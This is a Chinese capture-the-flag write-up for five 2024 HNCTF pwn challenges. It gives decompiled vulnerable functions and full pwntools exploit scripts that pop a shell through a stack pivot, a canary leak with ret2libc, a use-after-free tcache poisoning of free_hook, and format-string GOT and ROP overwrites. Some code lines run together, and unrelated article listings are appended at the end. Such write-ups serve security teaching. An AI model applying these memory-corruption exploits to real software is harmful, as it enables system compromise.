2024 HNCTF PWN(close ezpwn idea what beauty)

文章目录

  • close
  • ezpwn
    • 代码
    • 利用
    • exp
  • idea
    • 代码
    • exp
  • what
    • exp
  • beauty libc 2.35
    • IDA中文乱码解决
    • 代码
    • 思路
    • exp

close

int __fastcall main(int argc, const char **argv, const char **envp)
{puts("**********************************");puts("*     Welcome to the H&NCTF!     *");puts("**********************************");puts("*             *****              *");puts("*            *     *             *");puts("*           *  o o  *            *");puts("*          *    v    *           *");puts("*         *  *     *  *          *");puts("*         * * * * * * *          *");puts("**********************************");puts("*      Do you know close?        *");puts("**********************************");close(1);system("/bin/sh");return 0;
}

关闭标准输出,重定向即可

exec 1>&0
exec 1>&2

ezpwn

代码

int __cdecl main(int argc, const char **argv, const char **envp)
{init();puts("Welcome to H&NCTF, my friend. What's your name?");vul();return 0;
}
int vul()
{char s[40]; // [esp+0h] [ebp-2Ch] BYREFmemset(s, 0, 0x20u);read(0, s, 0x30u);printf("Hello, %s\n", s);read(0, s, 0x30u);return printf("Hello, %s\n", s);
}

利用

  1. 泄露rbp的内容(泄露栈地址)从而得到当前栈上缓存区的地址
  2. 再次输入,构造gadget和溢出rbp修改rbp为退出函数后main函数leave ret栈迁移的地址,即缓冲区上的地址,使得能够执行缓冲区的rop链 (执行system(“/bin/sh”))

exp

from pwn import *
#p=process("./pwn")
p=remote("hnctf.imxbt.cn",*)
#gdb.attach(p)
#pause()
context(arch="amd64")
getflag=p32(0x0804857D)
p.sendlineafter(b"What's your name?\n",b"\x11"*43)
p.recvuntil(b"\n")  
rbp=p.recv(4)#泄漏rbp的值,即栈地址
rbp=int.from_bytes(rbp,byteorder="little")-0x14-20
print("rbp ",hex(rbp))
pop_edi=p32(0x080486ca)  #0x080486ca
binsh=p32(rbp+20)
p.sendafter(b"\n",b"\x11"*24+p32(rbp+8)+getflag+binsh+b"/bin/sh\x00"+p32(rbp+8))
p.interactive()

idea

在这里插入图片描述
无随机化,got表可写

代码

int vuln()
{int v1; // [esp+8h] [ebp-30h]char nptr[32]; // [esp+Ch] [ebp-2Ch] BYREFunsigned int v3; // [esp+2Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("How many bytes do you want me to read? ");get_n((int)nptr, 4u);v1 = atoi(nptr);if ( v1 > 32 )                                // 负数绕过return printf("No! That size (%d) is too large!\n", v1);puts("Ok, sounds good. I'll give u a gift!");gift();                                       // 格式化字符串printf("Give me %u bytes of data!\n", v1);getchar();get_n((int)nptr, v1);                         // 溢出return printf("What you said is: %s\n", nptr);
}

格式化字符串泄露canary,然后溢出修改,构造rop泄露libc地址,然后返回到vuln函数再进行一次rop修改返回地址为system

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = process('./vuln')
elf=ELF("./vuln")
context.terminal = ['tmux','splitw','-h']gdb.attach(p,"b main")
p.sendlineafter(b"How many bytes do you want me to read? ",str(-1))
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!",b"%7$p")
p.recvuntil(b"\n")
canary=p.recv(10)
print("canary",canary)
canary=int(canary,16)
print("canary",hex(canary))
vuln=0x08048713
print(hex(elf.plt["puts"]))
print(hex(elf.got["puts"]))
payload=32*b"a"+p32(canary)+12*b"a"+p32(elf.plt["puts"])+p32(vuln)+p32(elf.got["puts"])
p.sendlineafter(b"bytes of data!",payload)puts_addr = u32(p.recv(4))libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')p.sendlineafter(b"How many bytes do you want me to read? ",str(-1))
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!",b"%7$p")
payload=32*b"a"+p32(canary)+12*b"a"+p32(system)+p32(0)+p32(str_bin_sh)
p.sendlineafter(b"bytes of data!",payload)
p.interactive()

what

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

size无限制,然后free没有清零,UAF,atoi存在负数,越界读写
UAF然后show泄露libc地址,然后分配两个tcachebin,往free_hook-8分配,然后写/bin/sh和system地址
在这里插入图片描述

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process('./what')
elf=ELF("./what")
gdb.attach(p,"b main")
def add(size):p.sendlineafter(b"Enter your command:",str(1))p.sendlineafter(b"size",str(size))
def free():p.sendlineafter(b"Enter your command:",str(2))
def show(index):p.sendlineafter(b"Enter your command:",str(3))p.sendlineafter(b"please enter idx:",str(index))
def edit(index,content):p.sendlineafter(b"Enter your command:",str(4))p.sendlineafter(b"please enter idx:",str(index))  p.sendlineafter(b"Please enter your content:",content)add(0x410)
add(0x10)
add(0x10)
free()
free()
free()
show(0)
p.recvuntil(b"Content:")
libc=u64(p.recv(6).ljust(8,b"\x00"))
print("libc",hex(libc))
system_addr=libc-0x39c880
free_hook=libc+0x1c48
edit(1,p64(free_hook-8))
add(0x410)
add(0x10)
add(0x10)
payload=b"/bin/sh\x00"+p64(system_addr)
edit(2,payload)
free()
p.interactive()

beauty libc 2.35

在这里插入图片描述

IDA中文乱码解决

在这里插入图片描述

代码

在这里插入图片描述
存在越界写,直接往上面got表写低字节造成偏移,然后接下来调用到该函数,看能触发其他漏洞利用
在这里插入图片描述

如果通过将atoi的got表修改为printf可以造成栈上格式化字符串

思路

在这里插入图片描述
为了走到格式化字符串那里,需要s1=yes,利用int类型赋值给char类型会截断绕过为0x73时return0,然后利用格式化字符串泄露地址,然后循环再次触发格式化字符串漏洞

在这里插入图片描述
修改got表的printf的最后一个字节为0x70

在这里插入图片描述

格式化字符串同时转换为字节流f"%{v}c%8$hhn".encode().ljust(0x10,b"a")
如果是写入零字节呢,直接%8$hhn即可

%0c是printf系列函数中的一个格式说明符,用于输出单个字符。在%0c中,0作为填充符在这里实际上并不起作用,因为%c本身就只处理一个字符,不管前面的数字是多少,它都只会输出一个字符或者在字符不存在时输出nothing(即不输出任何东西)。因此,%0c%c的效果相同,都会根据提供的参数输出一个字符。

exp

from pwn import *context(arch='amd64', os='linux',log_level='debug')
p=process("./pwn")
libc = ELF('./libc.so.6')
elf = ELF('./pwn')# gdb.attach(p)def vuln_printf(payload):p.sendlineafter(b"Would you choose me if you had to do it all over again?",str(0x79))p.sendline(str(0x65))p.sendline(str(0x173))p.sendlineafter(b"How many years will you be with me this time???\n",payload)                  def bre():p.sendlineafter("4. 彭仙女\n",str(4))p.sendline(str(0x73))p.sendlineafter(b"Please input your idx:\n",str(-0xf8))
p.sendlineafter(b"Please input your name:\n",b"a"*0x6f)p.sendlineafter("4. 彭仙女\n",str(4))
vuln_printf(b"%9$p %13$p %23$p ")  
stack=int(p.recvuntil(" ",drop=True),16)+0x28
elf.address=int(p.recvuntil(" ",drop=True),16)-0x18b2
libc.address=int(p.recvuntil(" ",drop=True),16)-0x29d90pop_rdi_ret=0x000000000002a3e5+libc.address
ret=0x000000000002a3e6+libc.address
print(hex(stack),hex(elf.address),hex(libc.address))binsh=next(libc.search(b'/bin/sh\0'))
payload=p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(libc.sym["system"])
for i,v in enumerate(payload):if v==0:p.sendlineafter("4. 彭仙女\n",str(4))fmt= b"%8$hhn".ljust(0x10,b"a")+p64(stack+i)vuln_printf(fmt)else :p.sendlineafter("4. 彭仙女\n",str(4))fmt= f"%{v}c%8$hhn".encode().ljust(0x10,b"a")+p64(stack+i)vuln_printf(fmt)
bre()
p.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3245954.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

kubernetes k8s Deployment 控制器配置管理 k8s 红蓝部署 金丝雀发布

目录 1、Deployment控制器:概念、原理解读 1.1 Deployment概述 1.2 Deployment工作原理:如何管理rs和Pod? 2、Deployment资源清单文件编写技巧 3、Deployment使用案例:创建一个web站点 4、Deployment管理pod:扩…

数字化装备场革新:智能装备采集设备问世!

数字化装备场建设是一项跨学科的综合工程,它不仅涵盖了网络布线的整合、系统框架的构建,还包含了各类硬件设备的配置等丰富多样的内容。该工程的关键环节主要包括对装备场所的出入口进行现代化升级、完善车库车辆定位与管理体系,以及部署一体…

Maven学习——Maven的下载、安装与配置(详细攻略!)

目录 前言 1.下载与安装 2.配置Maven的环境变量 3.配置Maven的本地仓库 4. 配置Maven的镜像远程仓库 前言 我在之前写了一篇博客,是介绍Maven的基本概念和下载安装,但是由于篇幅过长,Maven的下载与安装写的并不详细🐶&#x…

kaggle 量化交易 比赛

作者: Raoul Malm 描述: 本笔记本演示了如何使用 TensorFlow 中的循环神经网络预测不同股票的未来价格。实现了带有基本单元、LSTM 或 GRU 单元的循环神经网络。 大纲: [库和设置][分析数据][操作数据][建模和验证数据][预测]参考: https://www.kaggle.com/benjibb/lstm-st…

图片压缩python

linux粘贴文本格式错乱: vi/vim :set paste然后再 insert ,粘贴 centos安装pillow图像处理库: 引用:https://blog.csdn.net/newbieLCQ/article/details/125345335 linux赋予执行权限: # 创建文件 touch comperss.p…

C++解决:书本信息储存

书本信息储存 暂无标签 时间限制:C/C 1000MS,其他语言 2000MS 内存限制:C/C 256MB,其他语言 512MB 难度:简单 描述 创建一个储存书本信息的结构体,包括书号,名称,作者&#xff0…

日本IT-SE职位一览与未来职业发展路径规划

日本IT-SE 工作内容特点: 1. 软件开发:SE的主要任务是编写、测试和维护,以满足客户需求。他们需要使用多种编程语言和开发工具来完成任务。 2. 需求分析:SE负责与客户沟通,理解他们的需求,并将其转化为可…

给你的博客添加数据统计功能

20.数据统计 我们可以给博客添加统计功能,这里以百度统计和谷歌统计为例。 ‍ 百度统计 ‍ 添加网站 登陆百度统计后台:百度统计——一站式智能数据分析与应用平台,并登录,然后进入产品: ‍ 在使用设置–网站列…

Windows命令行(CMD)中,tasklist | findstr(搜索并显示包含特定字符串的进程信息)

文章目录 示例注意事项示例:使用 /FI 选项过滤进程 在Windows命令行(CMD)中, tasklist 命令用于显示当前运行的进程列表,而 findstr 命令则用于搜索字符串。当你将 tasklist 命令的输出通过管道( |&…

单片机设计_自行车码表(AT89C51, LCD1602, DS1302,霍尔传感器)

想要更多项目私wo!!! 一、电路设计 系统采用51单片机LCD1602液晶DS1302时钟模块霍尔传感器电机按键模块蜂鸣器报警模块设计而成。 产品自带单片机上电复位电路、手动复位电路(复位按键)、晶振电路(给单片机提供时钟周期)。 …

OpenCV下的无标定校正(stereoRectifyUncalibrated)

OpenCV下的无标定校正(stereoRectifyUncalibrated) 文章目录 1. 杂话2. 无标定校正2.1 先看代码2.2 一点解释2.3 findFundamentalMat参数2.4 stereoRectifyUncalibrated参数 3. 矫正结果 1. 杂话 咱们在之前的帖子里面讲了一些比较常规的标定和校正OpenCV下的单目标定&#xff…

紫外测熔融实验结果温度和abs作折线图和求一阶导最大值

import numpy as np import pandas as pd from pyecharts.charts import Line from pyecharts import options as opts from matplotlib import pyplot as plt import xlrd # 读取 csv 文件 data pd.read_excel(F:/LJX/lc8.xls)# 假设 csv 文件中有两列数据:x 和 y…

iOS——编译链接

编译连接的过程 预处理编译汇编链接 预处理 clang -E main.m -o main.i“#define"删除并展开对应宏定义。处理所有的条件预编译指令。如#if/#ifdef/#else/#endif。”#include/#import"包含的文件递归插入到此处。删除所有的注释"//或/**/"。添加行号和文…

SpringCloud网关的实现原理与使用指南

Spring Cloud网关是一个基于Spring Cloud的微服务网关,它是一个独立的项目,可以对外提供API接口服务,负责请求的转发和路由。本文将介绍Spring Cloud网关的实现原理和使用指南。 一、Spring Cloud网关的实现原理 Spring Cloud网关基于Spring…

在 Windows 上开发.NET MAUI 应用_2.生成你的第一个应用

先决条件 Visual Studio 2022 17.8 或更高版本,并安装了 .NET Multi-platform App UI 工作负载。 可参考上一篇文章:http://t.csdnimg.cn/n38Yy 创建应用 1.启动 Visual Studio 2022。 在开始窗口中,单击“创建新项目”以创建新项目&#…

时间管理计划表怎么做 待办计划时间管理工具

每当夜深人静,我总会坐在书桌前,思考着如何更好地规划明天的时间。那一张张密密麻麻的时间管理计划表,就像是我生活的地图,指引着我前行。我知道,对于每一个在都市丛林中奔波的打工人来说,时间都是最宝贵的…

Java面试(持续更新)

Redis使用场景 缓存穿透 当有该数据的时候,redis中的数据已经是原来数据的null值了,可能会出现不一致的问题。 缓存击穿 跟钱相关的强一致用互斥锁。 用户高体验用逻辑过期。 缓存雪崩 ttl随机值

AI 绘画|Midjourney设计Logo提示词

你是否已经看过许多别人分享的 MJ 咒语,却仍无法按照自己的想法画图?通过学习 MJ 的提示词逻辑后,你将能够更好地理解并创作自己的“咒语”。本文将详细拆解使用 MJ 设计 Logo 的逻辑,让你在阅读后即可轻松上手,制作出…

2.I/O口

文章目录 I/O输出(点灯)分析电路代码编写 I/O输入(电平检测)代码编写 I/O内部电路分析51单片机STM32单片机输入输出 I/O输出(点灯) 分析电路 看电路图,元器件形成电压差,即可点亮LED灯 代码编写 使用不同操作进行LED控制 #include "reg52.h&quo…

怎么查看一个网站的ip地址?

1、使用nslookup nslookup 是一个网络诊断工具,用于查询域名系统(DNS)记录,将域名解析为IP地址,或者查询其他DNS记录类型,如MX(邮件交换记录)、CNAME(别名记录&#xff…